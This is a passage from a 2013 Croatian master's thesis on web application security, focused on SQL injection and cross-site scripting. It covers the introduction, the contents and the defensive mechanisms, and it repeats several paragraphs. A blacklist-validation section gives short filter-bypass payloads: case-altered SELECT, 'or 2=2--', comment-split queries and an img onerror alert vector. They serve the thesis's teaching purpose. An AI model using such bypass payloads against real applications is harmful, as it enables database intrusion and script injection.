SIGURNOST U BAZAMA PODATAKA: SQL INJECTION I CROSS … · kao što je SQL injection ranjivost. (U daljnjem tekstu SQLi) Novi slučajevi ranjivosti postaju (U daljnjem tekstu SQLi)

SVEUČILIŠTE U ZAGREBU

FAKULTET ORGANIZACIJE I INFORMATIKE

V A R A Ž D I N

Matija Paravac

SIGURNOST U BAZAMA PODATAKA: SQL

INJECTION I CROSS SITE SCRIPTING

DIPLOMSKI RAD

Varaždin, 2013.

SVEUČILIŠTE U ZAGREBU

FAKULTET ORGANIZACIJE I INFORMATIKE

V A R A Ž D I N

Matija Paravac

Izvanredni student

Smjer: Baze podataka i baze znanja

Diplomski studij

SIGURNOST U BAZAMA PODATAKA: SQL

INJECTION I CROSS SITE SCRIPTING

DIPLOMSKI RAD

Mentor:

Doc. dr. sc. Markus Schatten

Varaždin, rujan 2013.

Sadržaj

1 UVOD ............................................................................................................................................. 2

1.1 Varljiva jednostavnost ............................................................................................................. 6

2 OBRAMBENI MEHANIZMI ......................................................................................................... 8

Rukovanje korisničkim pristupom ...................................................................................................... 8

2.1.1 Autentifikacija ................................................................................................................. 9

2.1.2 Upravljanje sesijama ....................................................................................................... 9

2.1.3 Kontrola pristupa ........................................................................................................... 10

Rukovanje unosom korisničkih podataka .......................................................................................... 10

2.1.4 Različiti pristupi rukovanja unosima - Odbaciti sve što se zna da je loše. .................... 11

2.1.5 Prihvati sve što se zna da je dobro. ................................................................................ 12

2.1.6 Saniranje ........................................................................................................................ 12

2.1.7 Sigurno rukovanje podacima ......................................................................................... 13

2.1.8 Semantičke provjere ...................................................................................................... 13

2.1.9 Granica validacije .......................................................................................................... 13

2.1.10 Više-koračna validacija ................................................................................................. 14

2.2 Rukovanje napadačima .......................................................................................................... 16

2.2.1 Rukovanje greškama ..................................................................................................... 16

2.2.2 Održavanje revizijskih logova ....................................................................................... 17

2.2.3 Reagiranje na napade ..................................................................................................... 19

2.2.4 Upravljanje aplikacijom ................................................................................................ 19

3 HTTP protokol .............................................................................................................................. 20

3.1 HTTP Request ....................................................................................................................... 20

3.2 HTTP Response ..................................................................................................................... 22

3.3 Generalna zaglavlja ............................................................................................................... 23

3.3.1 Dodatna zaglavlja zahtjeva ............................................................................................ 23

3.3.2 Dodatna zaglavlja odgovora .......................................................................................... 24

3.4 HTTP metode: ....................................................................................................................... 24

3.5 Cookie ................................................................................................................................... 25

3.6 Statusni kodovi ...................................................................................................................... 26

3.7 HTTP autentifikacija ............................................................................................................. 28

3.7.1 URL kodiranje ............................................................................................................... 28

3.7.2 Unicode kodiranje ......................................................................................................... 29

3.7.3 HTML kodiranje ............................................................................................................ 29

3.7.4 Base64 Encoding ........................................................................................................... 30

3.7.5 Heks kodiranje ............................................................................................................... 31

4 Mapiranje aplikacija ...................................................................................................................... 32

5 NAPADI ........................................................................................................................................ 33

5.1 Zaobilaženje kontrola na strani klijenta................................................................................. 33

5.1.1 Sakrivena polja unutar forma ........................................................................................ 33

5.1.2 HTTP Cookies ............................................................................................................... 33

5.1.3 URL Parametri .............................................................................................................. 34

5.1.4 Referer zaglavlje ............................................................................................................ 34

5.1.5 Zamućeni podaci ........................................................................................................... 35

5.1.6 ASP.NET ViewState ..................................................................................................... 36

5.2 HTML forme ......................................................................................................................... 37

5.2.1 Ograničenja dužine ........................................................................................................ 37

5.2.2 Validacija temeljena na skriptama ................................................................................. 38

5.2.3 Onemogućavanje HTML elemenata .............................................................................. 39

5.3 Ekstenzije web preglednika ................................................................................................... 39

5.3.1 FLASH .......................................................................................................................... 40

5.4 Napadi na autentifikaciju ....................................................................................................... 40

5.4.1 Loše lozinke .................................................................................................................. 41

5.4.2 Nesiguran prijenos korisničkih podataka ...................................................................... 42

5.4.3 Nesigurna pohrana korisničkih podataka ...................................................................... 42

5.4.4 Attack session management .......................................................................................... 42

5.4.5 Alternativa sesijama ...................................................................................................... 42

5.4.6 Napad na kontrolu pristupa ........................................................................................... 43

6 NAPAD NA POHRANU PODATAKA ....................................................................................... 44

6.1 SQL injection ........................................................................................................................ 45

6.1.1 Kategorizacija i klasifikacija SQLi-a ............................................................................ 45

6.1.2 Ubacivanja u numeričke parametre ............................................................................... 46

6.1.3 Otkrivanje baze podataka u pozadini............................................................................. 48

6.1.4 UNION operator ............................................................................................................ 48

6.1.5 Zaobilaženje filtra .......................................................................................................... 52

6.1.6 Ugrađene funkcije ......................................................................................................... 54

6.1.7 Utjecaj napada na OS .................................................................................................... 56

6.1.8 Izazivanje kondicionalnih grešaka(Error based) ........................................................... 56

6.1.9 Napadi temeljeni na vremenu ........................................................................................ 57

6.1.10 Eskalacija SQLi napada ................................................................................................. 59

6.1.11 SQLMAP ....................................................................................................................... 60

6.1.12 Sprečavanje SQLi-a ....................................................................................................... 60

6.2 NoSQL injection .................................................................................................................... 62

6.2.1 MongoDB ...................................................................................................................... 62

6.2.2 XPATH injection ........................................................................................................... 63

7 CROSS-SITE SCRIPTING ........................................................................................................... 67

7.1 Non-persistent ili Reflected XSS ........................................................................................... 67

7.2 DOM-based ........................................................................................................................... 68

7.3 Persistent ili stored XSS ........................................................................................................ 71

7.4 Ostali ranjivosti temeljene na XSS-u .................................................................................... 72

7.4.1 Preusmjeravanje ............................................................................................................ 72

7.4.2 CSRF ............................................................................................................................. 73

7.4.3 FLASH .......................................................................................................................... 75

7.5 HTTP Response Injection...................................................................................................... 76

Zaobilaženje XSS ograničenja dužine ............................................................................................... 77

Zaobilaženje XSS filtra ..................................................................................................................... 79

7.6 METODE XSS NAPADA .................................................................................................... 86

7.6.1 Krađa povijesti pregledavanja web stranica-(History theft) .......................................... 86

7.6.2 Intranet hakiranje ........................................................................................................... 87

7.7 Napredni XSS vektori ........................................................................................................... 89

7.7.1 Napadi na DNS .............................................................................................................. 89

7.8 XSS crvi (WORMS) i trojani ................................................................................................ 90

7.8.1 Vrste XSS crva .............................................................................................................. 90

7.8.2 XSS trojani .................................................................................................................... 92

8 Obrana od SQLi XSS u praksi....................................................................................................... 94

8.1 RUBY on RAILS .................................................................................................................. 94

8.2 C#/ASP.NET ......................................................................................................................... 98

8.3 PHP ...................................................................................................................................... 100

8.4 Java ...................................................................................................................................... 104

8.5 Python .................................................................................................................................. 110

9 ZAKLJUČAK ............................................................................................................................. 120

10 LITERATURA ........................................................................................................................ 121

Slika 1:Prikazuje incidente na uzorku od preko 100 aplikacija testiranim od strane autora knjige The

Web Application Hacker's Handbook ..................................................................................................... 4

Slika 2: Validacija podataka na različitim razinama obrade ................................................................. 14

Slika 3: Prikazuje cijene knjiga. Napadač može ubacivati tekst i stimulirati kupce. ............................ 69

Slika 4:Google Phishing-Trojan ............................................................................................................ 93

Slika 5:Ruby bcrypt uporaba ................................................................................................................. 96

Slika 6: Korištenje form_for metode ..................................................................................................... 96

Slika 7: Korištenje link_to i h aliasa...................................................................................................... 97

Slika 8:Zaštita od CSRF u Rails-u ........................................................................................................ 97

Slika 9:Biblioteke koje ako se pravilno koriste nude vrlo dobru zaštitu. .............................................. 98

Slika 10: Jedan dio automatski izgenerirane web aplikacije ................................................................. 99

Slika 11:izgled forme za prijavu korisnika .......................................................................................... 102

Slika 12: izgled forme za registraciju korisnika .................................................................................. 102

Slika 13: prikazuje sažimanje lozinke kod prijave, i korištenje pripremljenih izjava ......................... 103

Slika 14:Zaštita od kađe sesija ............................................................................................................ 103

Slika 15: Zaštita od XSS-a filtriranjem ............................................................................................... 103

Slika 16:Sažimanje(hashing)lozinke ................................................................................................... 103

Slika 17:Korištenje pripremljeni izjava kao zaštita protiv SQLi ......................................................... 105

Slika 18:XSS filter............................................................................................................................... 106

Slika 19:Upotreba XSS filtera za filtriranje zahtjeva i odgovora ........................................................ 107

Slika 20:Klasa koja se koristi kod sažimanje lozinke.......................................................................... 108

Slika 21:Sve lozinke unutar baze su sažete/šifrirane ........................................................................... 109

Slika 22:Prikaz datoteke sa web adresama i sesijama ......................................................................... 110

Slika 23:Prikaz datoteke sa testnim nizovima za SQLi ....................................................................... 111

Slika 24: Prikaz datoteke sa testnim nizovima za XSS ....................................................................... 111

2

1 UVOD

Više od deset godina nakon širokog i općeg prihvaćanja web aplikacija na Internetu, one su

još uvijek prepune ranjivosti. Razumijevanje sigurnosnih prijetnji orijentiranih prema web

aplikacijama, i efektivnih načina njihovog rješavanja još uvijek nije dovoljno dobro razvijeno.

Iako se njihovo pojavljivanje smanjuje još uvijek se pronalaze, stare i dobro poznate ranjivosti

kao što je SQL injection ranjivost. (U daljnjem tekstu SQLi) Novi slučajevi ranjivosti postaju

sve teži za pronalaženje i iskorištavanje. Danas nije više dovoljan web preglednik za njihovo

otkrivanje.

Svaka web aplikacija u svojoj pozadini ima bazu podataka, i upravno zbog toga se u današnje

vrijeme najviše napada na baze podataka dešava upravo kroz ranjivosti u web aplikacijama.

Može se reći da su nedovoljno dobro zaštićene web aplikacije, najveća sigurnosna prijetnja

bazama podataka koje su u njihovoj pozadini na poslužitelju.

Dolaskom bilo koje nove web tehnologije stvaraju se nove vrste ranjivosti. Potrebno je neko

vrijeme da se te ranjivosti otkriju jer kod razvijanja postojećih web aplikacija, mogućnosti

novih vrsta napada najčešće nisu uzete obzir.

Najozbiljniji napadi na web aplikacije su oni kod kojih se dolazi do osjetljivih podataka ili se

dobije pristup sustavima koji rade u pozadini aplikacije. Za mnogo poduzeća, bilo kakav

napad koji uzrokuje prekid rada sustava, je kritičan.

Prema iskustvima, upravo na području sigurnosti web aplikacija se odvija velika bitka između

napadača i onih sa podacima i resursima koji se brane.

Većina aplikacija iskazuje da je sigurna jer koristi SSL. Evo primjera nekoliko takvih izjava:

„This site is absolutely secure. It has been designed to use 128-bit Secure Socket

Layer (SSL) technology to prevent unauthorized users from viewing any of your

information. You may use this site with peace of mind that your data is safe with us.“

Korisnike se često navodi da provjere i pogledaju web certifikate i napredne kriptografske

protokole koji se koriste na nekom mjestu i to sve u cilju, da se na toj osnovi izgradi

povjerenje, i da im korisnici provjere svoje osobne informacije.

„We take security very seriously. Our web site is scanned daily to ensure that we

remain PCI compliant and safe from hackers. You can see the date of the latest scan

on the logo below, and you are guaranteed that our web site is safe to use.“

U pravilu velika većina web aplikacije nije sigurna, unatoč rasprostranjenoj i često korištenoj

SSL tehnologiji i PCI(Payment Card Industry) skeniranju.

3

(PCI vijeće se sastoji od 5 najvećih kompanija za kreditne kartice i oni su osmislili set

sigurnosnih standarda kako bi osigurali konzistentnost kod procesuiranja kreditnih kartica. Svi

oni koji nude uslugu plaćanja/kupovine moraju pristati na sigurnosna skeniranja mreže i PCI-

a)

1Na nekoliko stotina web aplikacija koje su testirane u razdoblju od 2007-2011 napravljene

su analize najučestalijih ranjivosti:

Ranjiva autentifikacija (62%) – odnosni se na različite nepravilnosti unutar

mehanizma za prijavu, koje mogu napadaču omogućiti pogađanje slabih lozinki,

uporabu brute-force napada, ili zaobilaženje prijave.

Dozvole pristupa (Access Controls 71%) – odnosi se na slučajeve gdje aplikacija ne

štiti dovoljno dobro svoju funkcionalnost i podatke te na taj način omogućuje

potencijalnom napadaču pristup osjetljivim podacima na serveru ili izvršavanje nekih

privilegiranih akcija.

SQL injection (32%) – odnosi se na ranjivost pri kojoj napadač podnese izrađeni unos

koji ometa interakciju sa bazom podataka u pozadini. Napadač može proizvoljno

dohvaćati podatke iz aplikacije, interferirati sa njenom logikom, ili izvršavati komande

nad samom bazom podataka na serveru.

Cross-site scripting (94%) – Ova ranjivost omogućuje napadaču da napada druge

korisnike aplikacije, dobije pristup njihovim podacima radeći akcije za koje nisu

autorizirani, i izvršavanje drugih napada na korisnika.

Curenje informacija (78%) – odnosi se na situacije gdje aplikacija sama po sebi

otkriva osjetljive i povjerljive informacije koje su od koristi napadaču u izvršavanju

napada na tu aplikaciju. Tu spada nepravilno rukovanje pogreškama i sl.

Cross-site request forgery (92%) – odnosi se na slučajeve gdje su korisnici aplikacije prisiljeni

izvršiti nenamjerne akcije prema aplikaciji sa svog korisničkog računa i unutar svojih prava i

ograničenja. Ova ranjivost omogućuje malicioznoj web stranici koja je posjećena od strane

korisnika da ima interakciju sa aplikacijom da bi izvršila akcije koje korisnik nije imao

namjeru izvršiti.

1 Izvor: The Web Application Hacker's Handbook str. 7

4

2Slika 1:Prikazuje incidente na uzorku od preko 100 aplikacija testiranim od strane autora knjige The Web Application

Hacker's Handbook

SSL je vrlo dobra tehnologija koja štiti povjerljivost i integritet podataka koji se prenose

između korisnikovog web preglednika i web poslužitelja. Pomaže u obrani protiv

prisluškivanja i „sniffera“ i može pružiti sigurnost identiteta web poslužitelja kojem korisnik

pristupa. Ali ne može spriječiti napade koji su direktno usmjereni na web poslužitelj ili na

komponente aplikacije kao što i većina uspješnih napada je. Treba naglasiti da ne sprečava

niti jednu od ranjivosti koju su navedene malo prije u tekstu, a niti puno drugih koje mogu

učiniti da aplikacija bude izložena napadu. Bez obzira na to da li aplikacije koriste SSL ili ne,

većina ih još uvijek sadrži sigurnosne propuste.

Jezgra problema sigurnosti je što su aplikacije na poslužitelju izložene unosima proizvoljnih

podataka od strane korisnika. Aplikacija treba uzeti u obzir da sav unos podataka može biti

potencijalno opasan. Stoga, moraju se poduzeti koraci kako bi se osiguralo da napadači ne

mogu „izgraditi“ takav unos podataka koji bi ugrozio aplikaciju ometajući aplikacijsku logiku

i ponašanje i dobiti neovlašten pristup njenim podacima i funkcionalnosti.

Sa današnjima platforama i alatima za razvoj web aplikacija, moguće je i da programer

početnik napravi moćnu aplikaciju u relativno kratkom vremenu. Međutim, postoji velika

razlika između stvaranja koda koji je funkcionalan i onog koji je siguran. Mnoge web

aplikacije su napravili dobronamjerni individualci kojima nedostaje znanje i iskustvo da

identificiraju gdje bi mogli nastati sigurnosni problemi. Trend je u posljednjih nekoliko

godina korištenje aplikacijskih frameworka (npr. AppFuse, Grails...) koji pružaju gotove

komponente za brojne funkcionalnosti kao što su npr. autentifikacija, predlošci stranica,


5

oglasne ploče, integracija sa komponentama u back-end infrastrukturi itd. Pomoću njih se

može brzo i lagano napraviti aplikacija bez ikakvog tehničkog razumijevanja kako aplikacija

funkcionira ili potencijalne opasnosti ili ranjivosti koje može sadržavati. Najveći problem je

što puno tvrtki koriste iste ili slične framework-e i kad se otkrije sigurnosna rupa, utječe na

mnogo njih i svi su ugroženi.

Načini i vrste napada se vrlo brzo mijenjaju. Vrlo često se događa da programerski tim

započne sa razvojem aplikacije i ima potpuno znanje o trenutnim prijetnjama, ali do završetka

aplikacije status tih prijetnji se može promijeniti.

Većina web aplikacijskih projekata ograničeni su rokovima i financijama i dosta često je

slučaj da se sigurnosna testiranja stavljaju na kraj životnog ciklusa razvoja programskog

proizvoda i dešava se da se niti ne provedu ili se provedu na brzinu i ne u potpunosti. Razlog

tome je što kod postavljanja prioriteta do roka isporuke veći prioritet imaju stabilnost i

funkcionalnost aplikacije nego sigurnost.

Važna stvar kod razvoja web aplikacija je odabir odgovarajućih tehnologija. Mnogo

tehnologija koje se koriste u razvoju web aplikacija su bile napravljene i namijenjene za

drugačije okružje World wide web-a nego što je to danas. Može se reći da ih se od tada pa do

danas „guralo“ i „sililo“ i preko onoga za što su prvobitno bile namijenjene odnosno zbog

čega su stvorene. Jedan takav primjer je uporaba JavaScript-a kao načina prijenosa podataka u

mnogim web aplikacijama koje su temeljene na AJAX-u.

Očekivanja koja se postavljaju na funkcionalnosti web aplikacija se brzo razvijaju i

tehnologije koje su se prije koristile za implementaciju takvih funkcionalnosti zaostaju, te se

tada proširuju i prilagođavaju kako bi se podržale tražene funkcionalnosti. Kao posljedica

takvog načina, naravno javljaju se sigurnosne ranjivosti.

U sadašnje vrijeme je normalno i očekuje se da jedan korisnički profil za razliku od prijašnjih

statičkih profila , sadrži upload-a slika, editiranje stranica u wiki stilu, nudi mogućnost

password recovery-a, username recovery-a, password hint-ove, opcije za pamćenje

korisničkih imena i lozinki za buduće prijave i sl. Zaboravlja se da svaka takva značajka

proširuje mogućnosti i mjesta napada.

Prije masovne pojave web aplikacija, organizacije i poduzeća su se trudila osigurati područje

mreža i mrežnih tehnologija kao zaštitu od napada. To se radilo pojačavajući i radeći zakrpe

na servisima i vatrozidima. Web aplikacije su sve to promijenile. Da bi web aplikacija bila

dostupna korisnicima, moraju se dozvoliti konekcije na poslužitelj preko HTTP ili HTTPS

protokola. A da bi aplikacija funkcionirala mora joj se dozvoliti da se spaja na servise i

sustave u pozadini kao što su baze podataka, glavne poslužitelje, financijske i logičke sustave

6

i sl. Takvi sustavi često leže u srži operacija i poslovanja neke organizacije i nalaze se iza

nekoliko slojeva mrežnih filtracija i vatrozida.

Dakle, ako postoji ranjivost unutar web aplikacije, moguće je da napadač sa javne mreže,

Interneta ugrozi jezgru pozadinskih sustava neke organizacije unošenjem zlonamjernih

podataka unutar web forme svog web preglednika. Ti uneseni podaci prolaze kroz sve slojeve

mrežne sigurnosti kao i oni normalni dobronamjerni podaci. Iz ovoga se može zaključiti da se

sigurnosno područje tipične organizacije širi i pomiče. Dio sigurnosti su još uvijek vatrozidi,

ali velik dio otpada i na sigurnost web aplikacije, ali i na sigurnost korisnika od strane tipova

napada koji su orijentirani na njih.

1.1 Varljiva jednostavnost 3Sa današnjima platforama i alatima za razvoj web aplikacija, moguće je i da programer

početnik napravi moćnu aplikaciju u relativno kratkom vremenu. Međutim, postoji velika

razlika između stvaranja koda koji je funkcionalan i onog koji je siguran. Mnoge web

aplikacije su napravili dobronamjerni individualci kojima nedostaje znanje i iskustvo da

identificiraju gdje bi mogli nastati sigurnosni problemi. Trend je u posljednjih nekoliko

godina korištenje aplikacijskih frameworka (npr. AppFuse, Grails...) koji pružaju gotove

komponente za brojne funkcionalnosti kao što su npr. autentifikacija, predlošci stranica,

oglasne ploče, integracija sa komponentama u back-end infrastrukturi itd. Pomoću njih se

može brzo i lagano napraviti aplikacija bez ikakvog tehničkog razumijevanja kako aplikacija

funkcionira ili potencijalne opasnosti ili ranjivosti koje može sadržavati. Najveći problem je

što puno tvrtki koriste iste ili slične framework-e i kad se otkrije sigurnosna rupa, utječe na

mnogo njih i svi su ugroženi.

Načini i vrste napada se vrlo brzo mijenjaju. Vrlo često se događa da programerski tim

započne sa razvojem aplikacije i ima potpuno znanje o trenutnim prijetnjama, ali do završetka

aplikacije status tih prijetnji se može promijeniti.

Većina web aplikacijskih projekata ograničeni su rokovima i financijama i dosta često je

slučaj da se sigurnosna testiranja stavljaju na kraj životnog ciklusa razvoja programskog

proizvoda i dešava se da se niti ne provedu ili se provedu na brzinu i ne u potpunosti. Razlog

tome je što kod postavljanja prioriteta do roka isporuke veći prioritet imaju stabilnost i

funkcionalnost aplikacije nego sigurnost.


7

Važna stvar kod razvoja web aplikacija je odabir odgovarajućih tehnologija. Mnogo

tehnologija koje se koriste u razvoju web aplikacija su bile napravljene i namijenjene za

drugačije okružje World wide web-a nego što je to danas. Može se reći da ih se od tada pa do

danas „guralo“ i „sililo“ i preko onoga za što su prvobitno bile namijenjene odnosno zbog

čega su stvorene. Jedan takav primjer je uporaba JavaScript-a kao načina prijenosa podataka u

mnogim web aplikacijama koje su temeljene na AJAX-u.

Očekivanja koja se postavljaju na funkcionalnosti web aplikacija se brzo razvijaju i

tehnologije koje su se prije koristile za implementaciju takvih funkcionalnosti zaostaju, te se

tada proširuju i prilagođavaju kako bi se podržale tražene funkcionalnosti. Kao posljedica

takvog načina, naravno javljaju se sigurnosne ranjivosti.

U sadašnje vrijeme je normalno i očekuje se da jedan korisnički profil za razliku od prijašnjih

statičkih profila , sadrži upload-a slika, editiranje stranica u wiki stilu, nudi mogućnost

oporavka lozinke, oporavka korisničkog imena, nagovještavanje lozinki, opcije za pamćenje

korisničkih imena i lozinki za buduće prijave i sl. Zaboravlja se da svaka takva značajka

proširuje mogućnosti i mjesta napada.

Prije masovne pojave web aplikacija, organizacije i poduzeća su se trudila osigurati područje

mreža i mrežnih tehnologija kao zaštitu od napada. To se radilo pojačavajući i radeći zakrpe

na servisima i vatrozidima. Web aplikacije su sve to promijenile. Da bi web aplikacija bila

dostupna korisnicima, moraju se dozvoliti konekcije na poslužitelj preko HTTP ili HTTPS

protokola. A da bi aplikacija funkcionirala mora joj se dozvoliti da se spaja na servise i

sustave u pozadini kao što su baze podataka, glavne poslužitelje, financijske i logičke sustave

i sl. Takvi sustavi često leže u srži operacija i poslovanja neke organizacije i nalaze se iza

nekoliko slojeva mrežnih filtracija i vatrozida.

Ako postoji ranjivost unutar web aplikacije, moguće je da napadač sa javne mreže, Interneta

ugrozi jezgru pozadinskih sustava neke organizacije unošenjem zlonamjernih podataka unutar

web forme svog web preglednika. Ti uneseni podaci prolaze kroz sve slojeve mrežne

sigurnosti kao i oni normalni dobronamjerni podaci. Iz ovoga se može zaključiti da se

sigurnosno područje tipične organizacije širi i pomiče. Dio sigurnosti su još uvijek vatrozidi,

ali velik dio otpada i na sigurnost web aplikacije, ali i na sigurnost korisnika od strane tipova

napada koji su orijentirani na njih.

8

2 OBRAMBENI MEHANIZMI

4Obrambeni mehanizmi u web aplikacijama obuhvaćaju sljedeće elemente:

Rukovanje korisničkim pristupima prema podacima i funkcionalnostima aplikacije da

bi se korisnici spriječili od neovlaštenog pristupa

Rukovanje korisničkim unosima prema funkcijama aplikacije kako bi se spriječili

štetni unosi koji uzrokuju nepoželjno ponašanje

Rukovanje napadima kako bi se osiguralo da se aplikacija ponaša ispravno za vrijeme

izravnih napada poduzimanjem prikladnih napadačkih i obrambenih mjera kako bi se

napadač demoralizirao.

Upravljanje aplikacijom tako da se administratorima omogući nadgledanje aktivnosti i

konfiguriranje funkcionalnosti.

Rukovanje korisničkim pristupom

5Gotovo svaka aplikacija ima potrebu za kontroliranjem korisničkog pristupa. Uobičajeno je da postoje

nekoliko različitih kategorija korisnika kao što su anonimni korisnici, autentificirani korisnici i

administrativni korisnici. Nadalje, u dosta slučajeva različitim korisnicima je dozvoljen pristup

različitim skupinama podataka. Na primjer, korisnici web elektroničke pošte trebali bi imati

mogućnost čitanja vlastitih mailova ali ne i mailova od drugih korisnika. Većina aplikacija rukuje

pristupom trima sigurnosnim mehanizmima:

Autentifikacija

Upravljanje sesijama

Kontrola pristupa

Ova tri mehanizma su temelj sigurnosti web aplikacije i baze podataka u pozadini i vrlo usko su

povezana. Sva tri trebaju funkcionirati besprijekorno, jer je sustav siguran/jak onoliko koliko je

sigurna/jaka najslabija karika u lancu.

4 Izvor: The Web Application Hacker's Handbook str 17.

5 Izvor: The Web Application Hacker's Handbook str 18.

9

2.1.1 Autentifikacija

6Autentifikacijski mehanizam služi za provjeru korisnika, odnosno da li je korisnik zapravo

onaj za koga se predstavlja. Bez ovog mehanizma aplikacija bi sve korisnike smatrala kao

anonimne. Autentifikacijski model je u velikoj većini isti. Svugdje se traži od korisnika unos

korisničkog imena i lozinke koje onda aplikacija provjerava da li su validni. Postoji naravno i

kompliciraniji autentifikacijski modeli pogotovo ako se želi dodatna sigurnost, npr. kod

banka, tada se traže još neki dodatni parametri i višerazinski proces prijave. Što se tiče modela

autentifikacije, oni mogu biti temeljeni na autentifikaciji pomoću različitih certifikata,

pametnih kartica, ili tokena. Osim temeljnog procesa prijave, autentifikacijski mehanizmi

podržavaju mnogo drugih funkcionalnosti, kao što su registracija, oporavak račun, promjene

lozinke. Bez obzira što su autentifikacijski mehanizmi relativno jednostavni, pate od brojnih

nepravilnosti unutar dizajna i implementacije, a najviše su zastupljene nepravilnosti funkcija

unutar mehanizma.

2.1.2 Upravljanje sesijama

7Nakon uspješne prijave na web aplikaciju, korisnik ima pristup brojnim stranicama i

funkcionalnostima, radeći HTTP zahtjeve iz svog preglednika. U isto vrijeme aplikacija prima

mnogo zahtjeva i od drugih korisnika od kojih su neki prijavljeni u sustav a neki nisu.

Aplikacija mora znati koji zahtjevi su od kojeg korisnika i koja on prava ima. To se postiže

uporabom sesija. Sesija sama po sebi je skup podatkovnih struktura koji se nalaze na

poslužitelju i prati stanje korisnikove interakcije sa aplikacijom. Token je jedinstven zapis

koji aplikacija mapira u sesiju. Kada korisnik primi token, preglednik ga automatski podnosi

natrag prema poslužitelju i to tako u svakom sljedećem HTTP zahtjevu, omogućujući na taj

način aplikaciji da poveže koji zahtjev je došao od kojeg korisnika. HTTP cookies su

standardna metoda prijenosa sesijskih tokena, iako mnogo aplikacija za ovu svrhu koristi

sakrivena polja unutar forma ili URL upite. Ako korisnik određeno vrijeme ne šalje nikakve

zahtjeve, sesija se prekine. Upravljanje sesijama jako ovisi o sigurnosti tokena. Glavnina

napada usmjerena je upravo na tokene drugih korisnika. Ako je token ugrožen, napadač se

može maskirati kao korisnik-žrtva i može koristiti aplikaciju kao da je autentificiran u

korisnikovo ime. Mali broj aplikacija izostavlja uporabu tokena i koriste ostale načine

redefiniranja korisnika kroz višestruke HTTP zahtjeve. Tada preglednik automatski ponovno

podnosi korisničke podatke sa svakim novim zahtjevom i na taj način aplikacija može



10

identificirati korisnika. U nekim slučajevima aplikacija sprema informacije o stanju ne na

serveru nego na klijentskoj strani i tada se te informacije naravno kriptiraju.

2.1.3 Kontrola pristupa

8Kontrola pristupa odnosi se na odluke o tome da li bi svaki individualan zahtjev trebao biti

dopušten ili odbijen. Ako mehanizmi opisani prije u tekstu funkcioniraju ispravno, aplikacija

zna identitet korisnika od kojeg je primila zahtjev i na toj osnovi mora odlučiti da li je

korisnik autoriziran da napravi pojedinu akciju ili pristupi podacima ili nije. Iza mehanizma

za kontrolu pristupa stoji naprednija logika sa različitim razmatranjima koji se odnose na

različita područja aplikacije i različite tipove funkcionalnosti. Aplikacija može podržavati

brojne uloge (role), koje uključuju različite kombinacije specifičnih privilegija i dopuštenja.

Individualnim korisnicima može biti odobren pristup jednom dijelu/podskupu podataka koji

se nalaze u aplikaciji unutar baze podataka. Zbog kompleksne prirode zahtjeva kontrole

pristupa, ovaj mehanizam je često izvor sigurnosnih ranjivosti koji omogućuju napadaču

neautoriziran pristup podacima i funkcionalnosti. Programeri često čine krive pretpostavke o

tome kakva će biti interakcija između korisnika i aplikacije i često propuste napraviti provjere

za kontrolu pristupa za pojedine funkcije aplikacije. Ispitivanje takvih ranjivosti je vrlo

naporno, međutim uvijek se isplati.

Rukovanje unosom korisničkih podataka

9Kao što je već rečeno, svaki unos od strane korisnika je potencijalno opasan i ne može mu se

vjerovati. Mnogo različitih napada na web aplikacije uključuje slanje neočekivanog unosa,

izrađenog da stvori ponašanje koje nije bilo namijenjeno od strane dizajnera/arhitekata

aplikacije.

Aplikacija može nametnuti vrlo stroge provjere za svaki od unosa. Na primjer korisničko ime

kod prijave u sustav može imati maksimalnu duljinu od osam znakova i sadržavati samo

slova. U drugima slučajevima, aplikacija mora tolerirati široku mogućnost mogućeg unosa.

Na primjer polje za unos adrese može sadržavati slova, brojke, razmake, crtice, apostrofe i

druge znakove. I u ovoj situaciji unos korisnika se može ograničiti na određenu dužinu (npr.

50 znakova) i ne smije sadržavati HTML oznake.

U nekim situacijama aplikacija će morati prihvatiti proizvoljan unos od strane korisnika. Na

primjer korisnik napravi blog na temu hakiranja, i u svom sadržaju ima puno opasnih upita i



11

zapisa i još dozvoljava pisanje komentara koji mogu imati štetne zapise koje će aplikacija

morati spremiti u bazu podataka i ponovno ih prikazati.

Uz sve te različite tipove unosa koji korisnici unose koristeći sučelje preglednika, tipična

aplikacija prima i stavke podataka čiji život počinje na poslužitelju pa se šalju klijentu tako da

ih klijent može prenijeti natrag na poslužitelj sljedećim zahtjevom. To uključuje stavke kao

što su cookie-i i sakrivena polja unutar forma koja nisu vidljiva običnim korisnicima

aplikacije ali koje napadači mogu vidjeti i mijenjati njihov sadržaj. U tim slučajevima

aplikacija često može izvesti vrlo specifične provjere dobivenih podataka. Na primjer,od

parametra se može zahtijevati da sadrži neke specifične vrijednosti kao što su cookie koji

pokazuje informacije o jeziku korisnika, specifičan format, kao što je kod kupca ID broj.

Dakle, kada aplikacija detektira da su podaci koje je izgenerirao poslužitelj mijenjani na način

koji nije moguć od strane normalnog korisnika i standardnog web preglednika to ukazuje na

to da je korisnik ispitivao ili tražio ranjivosti u aplikaciji. U takvim situacijama aplikacija bi

trebala odbaciti zahtjev i zabilježiti incident za potencijalnu istragu.

2.1.4 Različiti pristupi rukovanja unosima - Odbaciti sve što se zna da je loše.

10Obično se sastoji od liste nedozvoljenih nizova ili uzorka/šablona za koje se zna da se

koriste u napadima. Validacijski mehanizam blokira sve podatke koji se podudaraju s onima u

"crnoj"/nedozvoljenoj listi. Ovaj način ima najmanje efekta jer se ranjivost unutar web

aplikacija mogu iskoristiti uz pomoć raznih vrsta unosa , od kojih neki mogu biti kodirani i

napisani na različite načine. Vrlo je vjerojatno da će "crna"lista izostaviti neke šablone koje se

koriste za napade. Druga stvar je i da iskorištavanje ranjivosti napreduje odnosno evoluira, i

vrlo vjerojatno trenutna lista ih neće blokirati niti spriječiti. Mnogo filtra temeljenih na

"crnim" listama se mogu zaobići vrlo lako, i to radeći trivijalne promjene i prilagodbe na unos

koji je trenutno blokiran.

Primjer 1:

Ako je SELECT blokiran, može se pokušati sa SeLeCt

Ako je or 1=1-- blokiran, može se pokušati sa or 2=2--

Ako je alert('XSS') blokiran, može se pokušati sa prompt('XSS')

Itd..

10

Izvor: The Web Application Hacker's Handbook str. 59

12

U nekim slučajevima filtri koji su napravljeni da blokiraju specifične ključne riječi mogu se

zaobići korištenjem nestandardnih znakova između izraza kako bi se poremetilo tokeniziranje

(rastavljanje) koje izvodi aplikacija.

Primjer 2:

SELECT/*foo*/korime,lozinka/*foo*/FROM/*foo*/korisnici <img%09onerror=alert(1) src=a>

Mnogi od filtra temeljenih na "crnim" listama a pogotovo onih koji su implementirani unutar

vatrozida web aplikacije je ranjivo na NULL byte napade. Zbog drugačijih načina na koji se

